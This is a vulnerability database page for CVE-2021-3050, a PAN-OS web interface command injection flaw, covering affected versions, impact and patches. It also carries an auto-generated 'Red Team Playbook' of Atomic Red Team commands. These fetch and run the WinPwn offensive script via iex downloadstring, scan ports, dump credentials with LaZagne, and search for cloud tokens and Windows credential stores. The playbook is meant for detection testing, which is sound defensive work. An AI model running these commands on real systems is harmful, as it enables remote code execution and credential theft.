CVE-2021-3050
Overview
This vulnerability is an OS command injection within the Palo Alto Networks PAN-OS web interface, specifically affecting the command execution handling of authenticated administrator sessions. The root cause lies in improper sanitization of user-supplied input passed to underlying operating system commands, enabling injection of arbitrary OS commands. The affected component is the PAN-OS web management interface across multiple versions, where input validation fails to restrict command parameters adequately.
Vulnerability Description
An OS command injection vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator to execute arbitrary OS commands to escalate privileges. This issue impacts: PAN-OS 9.0 version 9.0.10 through PAN-OS 9.0.14; PAN-OS 9.1 version 9.1.4 through PAN-OS 9.1.10; PAN-OS 10.0 version 10.0.7 and earlier PAN-OS 10.0 versions; PAN-OS 10.1 version 10.1.0 through PAN-OS 10.1.1. Prisma Access firewalls and firewalls running PAN-OS 8.1 versions are not impacted by this issue.
Impact
An authenticated administrator can exploit this vulnerability to execute arbitrary operating system commands with elevated privileges, enabling full control over the affected device. This requires valid administrator credentials and network access to the management interface. Successful exploitation can lead to privilege escalation, unauthorized configuration changes, and potential lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:L/UI:N) confirms that only low complexity attacks with authenticated privileges are necessary, amplifying the risk in environments with exposed management interfaces.
Solution
Palo Alto Networks has released security updates addressing this vulnerability in PAN-OS versions 9.0.15 and later, 9.1.11 and later, 10.0.8 and later, and 10.1.2 and later. Administrators should apply these patches promptly. Detailed patch instructions and version-specific fixes are available in the official Palo Alto Networks security advisory at https://security.paloaltonetworks.com/CVE-2021-3050. No alternative workarounds have been documented by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Palo Alto Networks PAN-OS web interface is characterized by an OS command injection flaw that allows an authenticated administrator to execute arbitrary operating system commands. This vulnerability arises from improper validation of user input within the web interface, enabling attackers with valid administrative credentials to manipulate the system's command execution environment. By exploiting this flaw, an attacker can escalate privileges, potentially gaining complete control over the affected system. The versions of PAN-OS that are vulnerable include specific releases across multiple major versions, highlighting a significant window of exposure for organizations relying on these systems for network security.
Attack vectors for this vulnerability primarily involve authenticated access to the PAN-OS web interface. An attacker must first obtain administrative credentials, which could be achieved through various means such as phishing, credential stuffing, or exploiting other vulnerabilities within the network. Once authenticated, the attacker can craft malicious input that is processed by the web interface, leading to the execution of arbitrary commands on the underlying operating system. This could result in the installation of malware, data exfiltration, or the manipulation of firewall rules, thereby compromising the integrity and confidentiality of the network.
The real-world impact of this vulnerability is substantial, particularly for organizations that depend on Palo Alto Networks firewalls for their cybersecurity posture. The ability to execute arbitrary commands can lead to severe business risks, including unauthorized access to sensitive data, disruption of services, and potential regulatory penalties for data breaches. Furthermore, the exploitation of this vulnerability could facilitate lateral movement within the network, allowing attackers to pivot to other systems and escalate their attack further. The high CVSS score of 8.8 underscores the critical nature of this vulnerability and the urgency for organizations to address it.
Detection and mitigation strategies for this vulnerability should focus on both proactive and reactive measures. Organizations should ensure that they are running the latest, patched versions of PAN-OS to eliminate the risk associated with this flaw. Regular security audits and vulnerability assessments can help identify any unauthorized access attempts or anomalous behavior within the network. Additionally, implementing strict access controls and multi-factor authentication can reduce the likelihood of credential theft. Network monitoring solutions should be employed to detect unusual command executions or changes in system behavior that may indicate exploitation attempts.
In conclusion, the OS command injection vulnerability in the PAN-OS web interface poses a significant threat to organizations using affected versions of the software. The potential for privilege escalation and arbitrary command execution can lead to severe consequences, including data breaches and operational disruptions. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses and implement effective mitigation strategies to safeguard their networks.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-3050 |
| security.paloaltonetworks.com |
GitHub CVE
x_refsource_MISC
|
https://security.paloaltonetworks.com/CVE-2021-3050 |